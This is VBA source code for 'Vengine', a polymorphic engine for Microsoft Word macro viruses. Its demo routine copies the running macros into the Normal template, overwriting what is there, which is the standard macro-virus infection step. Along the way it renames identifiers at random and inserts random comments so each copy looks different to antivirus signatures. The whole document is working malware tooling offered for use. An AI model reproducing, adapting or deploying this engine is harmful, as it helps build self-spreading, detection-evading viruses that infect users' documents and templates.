' Vengine - polymorphizer for MS-Word macro viruses ' Coded by VeggieTailz ' ' This engine can be used to polymorphize any MS-Word macro virus. ' ' The Vengine concept was inspired by Nick FitzGerald's asinine posting ' on BugTraq, dated 3/29/99 and archived at geek-girl.com. ' Private Zy7td() As String Private QC2cz() As String Private K1j() As String Private Nv4cl As String Private Sub Example() ' As a demo, we'll copy the current macros to the template. After running ' this example (make sure this is the ActiveDocument!), examine the MS-Word ' template. It will contain a scrambled (but still functional) version of ' this program. Set Source = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Set Dest = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule ' The "Infect" sub copies the macros from "Source" to "Dest", scrambling ' them in the process. The contents of Dest are overwritten. Infect Source, Dest End Sub Private Sub InfectTable() ' This table stores the identifiers which will be scrambled. They can ' be any ordinary variable name (even names ending with a suffix like ' % or $). Make your choices carefully tho, as the substitutions ' will also be applied to string constants (otherwise the code below ' would not get updated). ReDim QC2cz(29) ' don't forget to set the array size! QC2cz(1) = "Infect" QC2cz(2) = "InfectTable" QC2cz(3) = "Zy7td" QC2cz(4) = "QC2cz" QC2cz(5) = "K1j" QC2cz(6) = "Nv4cl" QC2cz(7) = "Co6q" QC2cz(8) = "X3X" QC2cz(9) = "R0e" QC2cz(10) = "Tq4tl" QC2cz(11) = "G4u" QC2cz(12) = "To6dm" QC2cz(13) = "Rg4mp" QC2cz(14) = "I4h" QC2cz(15) = "I6w" QC2cz(16) = "Gy0u" QC2cz(17) = "S5l" QC2cz(18) = "T1g" QC2cz(19) = "T1b" QC2cz(20) = "Ba6Dk%" QC2cz(21) = "X1U%" QC2cz(22) = "C6E%" QC2cz(23) = "C6z%" QC2cz(24) = "X6q" QC2cz(25) = "XM2wj" QC2cz(26) = "Yx1h" QC2cz(27) = "Sh6k" QC2cz(28) = "T2w" QC2cz(29) = "Ky8c" ' [add your entries here!] End Sub Private Sub Infect(Co6q, X3X) ReDim Zy7td(0) ReDim QC2cz(0) ReDim K1j(0) Dim R0e As String For I = 1 To Co6q.CountOfLines R0e = Co6q.Lines(I, 1) If Trim(R0e) <> "" Then T2w R0e, 1 Next I Tq4tl X3X.DeleteLines 1, X3X.CountOfLines X3X.AddFromString "" For I = 1 To Co6q.CountOfLines R0e = Co6q.Lines(I, 1) If Trim(R0e) <> "" Then Nv4cl = "" T2w R0e, 2 If Rnd < 0.1 Then Nv4cl = Nv4cl + " ' " + "T1b" X3X.InsertLines X3X.CountOfLines + 1, Nv4cl End If Next I End Sub Private Sub Sh6k(To6dm As String, Rg4mp As Integer) G4u = Left$(To6dm, 1) = Chr$(34) And Right$(To6dm, 1) = Chr$(34) And Len(To6dm) > 2 If G4u Then To6dm = Mid$(To6dm, 2, Len(To6dm) - 2) I4h = UCase$(Left$(To6dm, 1)) >= "A" And UCase$(Left$(To6dm, 1)) <= "Z" Ky8c = UCase$(Right$(To6dm, 1)) If Rg4mp = 1 Then If I4h Then For Ba6Dk% = 1 To UBound(Zy7td) If To6dm = Zy7td(Ba6Dk%) Then Exit Sub Next Ba6Dk% ReDim Preserve Zy7td(UBound(Zy7td) + 1) Zy7td(UBound(Zy7td)) = To6dm End If Exit Sub End If If I4h Then For Ba6Dk% = 1 To UBound(QC2cz) If To6dm = QC2cz(Ba6Dk%) Then To6dm = K1j(Ba6Dk%) If Ky8c < "A" Or Ky8c > "Z" Then To6dm = To6dm + Ky8c Exit For End If Next Ba6Dk% End If If G4u Then To6dm = Chr$(34) + To6dm + Chr$(34) If Nv4cl <> "" Then If Right$(Nv4cl, 1) <> "." And Left$(To6dm, 1) <> "." Then To6dm = " " + To6dm End If Nv4cl = Nv4cl + To6dm End Sub Private Sub Tq4tl() InfectTable ReDim Preserve K1j(UBound(QC2cz)) For Ba6Dk% = 1 To UBound(K1j) I6w: Gy0u = Int(Rnd * 3) + 3 S5l = "" For X1U% = 1 To Gy0u T1g = Chr$(97 + Int(Rnd * 26)) If X1U% = 1 Or Rnd > 0.8 Then T1g = UCase$(T1g) If X1U% = 1 + Int(Gy0u / 2) Then T1g = Chr$(48 + Rnd * 9) S5l = S5l + T1g Next X1U% For X1U% = 1 To UBound(Zy7td) If S5l = Zy7td(X1U%) Then GoTo I6w Next X1U% For X1U% = 1 To Ba6Dk% - 1 If S5l = K1j(X1U%) Then GoTo I6w Next X1U% K1j(Ba6Dk%) = S5l Next Ba6Dk% End Sub Private Sub T2w(R0e As String, Rg4mp As Integer) Dim To6dm As String Dim T1g As String Do R0e = LTrim(R0e) XM2wj = False If Len(R0e) = 0 Then Exit Do C6E% = 1 T1g = UCase$(Left$(R0e, 1)) X6q = (T1g >= "A" And T1g <= "Z") Or (T1g >= "0" And T1g <= "9") Do If C6E% > Len(R0e) Then Exit Do T1g = Mid$(R0e, C6E%, 1) If T1g = Chr$(34) Then If XM2wj Then C6E% = C6E% + 1: Exit Do XM2wj = True End If If Not XM2wj Then If X6q Then If T1g = "$" Or T1g = "%" Or T1g = "&" Then C6E% = C6E% + 1: Exit Do If T1g = "!" Or T1g = "#" Then C6E% = C6E% + 1: Exit Do End If Yx1h = UCase$(T1g) >= "A" And UCase$(T1g) <= "Z" Yx1h = Yx1h Or (T1g >= "0" And T1g <= "9") Or T1g = "_" If X6q <> Yx1h Then Exit Do If T1g < Chr$(33) Or T1g > Chr$(127) Then Exit Do End If C6E% = C6E% + 1 Loop To6dm = Left$(R0e, C6E% - 1) R0e = Right$(R0e, Len(R0e) - (C6E% - 1)) If Left$(To6dm, 1) = "'" Or To6dm = "Rem" Then Exit Do Sh6k To6dm, Rg4mp Loop End Sub